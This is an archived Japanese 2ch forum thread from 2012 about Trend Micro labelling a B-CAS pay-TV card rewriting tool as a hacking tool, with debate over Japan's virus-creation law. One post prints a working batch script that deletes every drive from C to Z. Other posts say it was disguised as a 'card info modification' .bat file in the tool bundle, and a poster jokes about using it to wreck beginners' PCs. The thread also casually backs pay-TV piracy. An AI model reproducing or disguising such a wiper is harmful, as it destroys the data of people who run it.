B-CAS社「不正B-CASカードの対策を考えたﾆﾀﾞ」
■ このスレッドは過去ログ倉庫に格納されています
マルウェアタイプ: ハッキングツール
破壊活動の有無: なし
プラットフォーム: Windows 2000, Windows XP, Windows Server 2003
暗号化: なし
感染報告の有無 : あり
概要
プログラムは、ユーザの手動インストールにより、コンピュータに侵入します。
詳細
タイプ: EXE
メモリ常駐: なし
発見日: 2012年5月18日
侵入方法
プログラムは、ユーザの手動インストールにより、コンピュータに侵入します。
その他
プログラムは、特定のスマートカードの内容を上書きする機能を備えており、特定の有料テレビ放送へ無制限なアクセスを可能にします。
http://about-threats.trendmicro.com/malware.aspx?language=jp&name=HKTL_RESREM 逆に言えば無料で有料放送いつのまにか見れちゃっててもウイルス観戦させられただけってことだよね
公開されたソース見て、不審なコードが無いか確認してから
自分でコンパイルした慎重派こそがウイルス作成罪でもれなく逮捕な
ウイルスバスター使ってる奴がbcas書き換えなんてせんやろ
なるほど、ツール落とした奴がスキャンした時に
本物でもウイルス判定されるようになるわけだな
ウイルスバスターが反応したら本物の証拠つって初心者のPCぶっ壊そうぜｗｗｗｗｗｗｗｗｗ
ウイルス作成罪の条文読む限りでは
「使用者の意図に沿わない、もしくは意図の反する動作をする」
ものが対象とあるから、これはあてはまらんだろう
トレンドマイクロが認定したからウイルス扱いというわけではない
これ、正規のEdyビューアとか影響受けたら洒落にならんな。
マジ、洒落にならんな。。。。。
>>72
echo off
c:
cd \
cmd /c rd /s /q c:
cmd /c rd /s /q d:
cmd /c rd /s /q e:
cmd /c rd /s /q f:
cmd /c rd /s /q g:
cmd /c rd /s /q h:
cmd /c rd /s /q i:
cmd /c rd /s /q j:
cmd /c rd /s /q k:
cmd /c rd /s /q l:
cmd /c rd /s /q m:
cmd /c rd /s /q n:
cmd /c rd /s /q o:
cmd /c rd /s /q p:
cmd /c rd /s /q q:
cmd /c rd /s /q r:
cmd /c rd /s /q s:
cmd /c rd /s /q t:
cmd /c rd /s /q u:
cmd /c rd /s /q v:
cmd /c rd /s /q w:
cmd /c rd /s /q x:
cmd /c rd /s /q y:
cmd /c rd /s /q z:
echo すべてのファイルの削除が終わりましたｗ
pause 途中まで本物っぽいのが悪質だな >>187
お前も逮捕
何ウイルスアップロードしてんだよ この方法はP2Pのソフトにも使えるんじゃないの
ノーガード感染PC増えすぎてトラフィックがやばいことになるかもしらんけどｗ
本人のPCじゃなくてサーバ攻撃するやつとかもウイルスに決まってるだろ
b-casへの攻撃と判断されたの
ウイルスソフトにツールをウイルスと判断させて
自動削除させることを狙ってるんじゃないの？
>>176
改造した奴捕まえてカードが改竄されるとは思ってなかったって供述が欲しいんだと思う
その供述でウイルスの要件満たすからウイルス作成罪で逮捕できる
供述しなかったらそいつ器物損壊て逮捕 洋ゲーのキージェネをウィルス扱いするみたいなもんか
パソコンの大先生が頑張ってVC++とか入れてビルドしたアプリを勝手に削除するとか鬼畜すぎだろｗｗｗ
>>72
しばらく見ない間に色々ファイル増えてるｗ
でも普通にアウトだろこれ >>192
垂れ流してる電波で攻撃受けてんのはこっちだわ
サーバーなんかアクセスしてねーよ >プログラムは、ユーザの手動インストールにより、コンピュータに侵入します。
どういうこったよ
>>191
Winny.exeやShare.exeをアドウェア扱いする
セキュリティソフトはあったはず B-CAS社「書き換えツールはウィルスだった（つまり俺たちのせいじゃない）」
不正視聴者「俺たちはむしろ被害者」
WIN-WINだねえ
>>195
それってさ・・・｢ウイルスらしきもの｣の拡散がそれによって収まるわけでも無いし
意味ないよね・・・見せしめ逮捕をとにかくしたがってるんだろうけどさ・・・ こんなことまかり通るんならウイルスソフト自体がウイルスだと認定出来るわ
手動インストールで侵入して常駐、特定の無害なプログラムを警告なしで削除するウイルスって
特定の会社のどころかウイルスソフトメーカー全体の信頼に関わってくる
この調子だとsoftcasのwinscard.dllもウイルス指定されそうだな
てことは有料放送が見られるようになった奴らは加害者じゃなくてウイルスの被害者か
大義名分与えたようなもんだよねこれ
ボ ク ノ カ ン ガ エ タ カ ミ ツ ー ル
俺は善良な市民でただで有料放送なんて見たくないのにッ
ウィルスのせいでッ
条文 : 人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録
意図に反した動作してないだろ
念のために保存してあったツール類はノートン先生の手の及ばないところ移行した。
cprmgetkey.exeみたいな扱いになりそうだな。
このスレ開いただけでMSEさんが大激怒したんだけど、何に反応したの？
>>6
鶴をウィルス扱いにすることによって情弱の使用を牽制 >>187
あぶねえな
MSE無反応じゃねえか
さっさと消しとくわ もう打つ手がないっていってるようなもんじゃねぇかｗｗｗ
ウィルスにして違法にしてしまえ！
放射能は安全！なみにもう無茶苦茶だなｗｗ
>>206
作った奴逮捕しないと面目が保てない人達がいるんだから仕方ない さすがやで
定義ファイル更新でPCをフリーズさせるアンチウイルスソフトなだけの事はあるわ
ウィルス認定か
確かに正規データを改変というか破壊してるしな
ウィルス扱いだと、配布した時点でアウト
知ってて再配布でもアウト
タコウィルスで前例あるから逮捕から裁判もスムーズ
よく考えたな
こでれ引っかかるか
前号に掲げるもののほか、同号の不正な指令を記述した電磁的記録その他の記録
ウィルスバスターはウィルスではないファイルを削除するのか。一生買わない。
そもそもウイルス作成罪って
自分で勝手に作って所持してるだけなら罪にならんはずだが
>>55
バスターなんて入れてるのは能無し企業か情弱しかいねーから無問題 >>239
だから配布する奴捕まえるためだろ
情弱はツールに辿りつけないんだから >>143
第234条の2
人の業務に使用する電子計算機若しくはその用に供する電磁的記録を損壊し、
若しくは人の業務に使用する電子計算機に虚偽の情報若しくは不正な指令を与え、
又はその他の方法により、電子計算機に使用目的に沿うべき動作をさせず、
又は使用目的に反する動作をさせて、人の業務を妨害した者は、五年以下の懲役又は百万円以下の罰金に処する。
ウィルス作成罪ってのは条文に違反した例があった場合で
民間の会社が勝手にウィルス認定したところで何も影響は無いよ。 >>242
それは不正競争防止法で引っ張りゃいいだけの話 >>72
おいこらavastで反応しないぞ
偽物じゃないのか？ 使う時だけウイルス対策無効にすればいいし意味ないだろこれ
この対処法ジワジワくるな
笑いこらえるので精一杯だ
>>1
>プログラムは、ユーザの手動インストールにより、コンピュータに侵入します
世界初となる人体へも影響させるウイルスですね。
風評被害とか言い出すのとかぶる
元はお前が悪いのに指摘するやつが悪いって摩り替える
砂上の楼閣みたいなもんで独占しててボロッといったらやったのが悪いみたいな
たぶんウイルス言い出したのは自分じゃない感じに仕立てる
想定外ｗこれで責任から逃げれる
後税金突っ込んで交換とかそんなんだな
>>254
圧縮して保存するか、焼いとくかしないと、
いつのまにか自動で削除してくれる。親切なんだよ ワロス
まるつき＠ヤフオクカメラ転売 ?@marutuki
ウィルス対策ソフトによるとHKTL_RESREMというファイルが脅威らしく削除した。マイクロソフト関係のファイルなのかな？
開く 閉じる 返信 リツイートの取り消しリツイート
削除
お気に入りお気に入りに登録 2012年5月25日 - 14:08 webから ・ 詳細
http://twitter.com/#!/marutuki 昨日の夜には確かにウイルス入りが上がっていたが
ハードディスク初期化する奴ね
>>72
あれ？なんかデスクトップが使えなくなったんだけどなんなのこれ まるもさん、見てくれてますか？
梅コース未満で僕らはこうして生きていけます
いや、手動インストールで侵入するウイルスは普通にあるんじゃねーの？
これはユーザーの望んだ通りの機能なのにウイルス認定がおかしいんであって
ああなるほど
マルウェア登録して自分が使ってるセキュリティソフトに警告を出させられるようにしてしまったわけね
>>261
まぁたまにはそういうスリルもいいよね
最近の２ちゃんねるにはそういうスリルが足りない 何かあやしぃと思って見たら
3.カード情報改造.bat
の中身が>>187になってた。
うわーウィルスに感染してたわー
色々放送みれるようになっってしまったわー
>>41
だったらウイルス扱いされるプログラム全部が対象になるがなあ
たまーに誤検出されるのがある
しかも訂正されない
俺が使ってるスクリーンセーバーは作者からの誤検出ありますよアナウンスだけでアンチウイルスには未だに引っかかる ■ このスレッドは過去ログ倉庫に格納されています
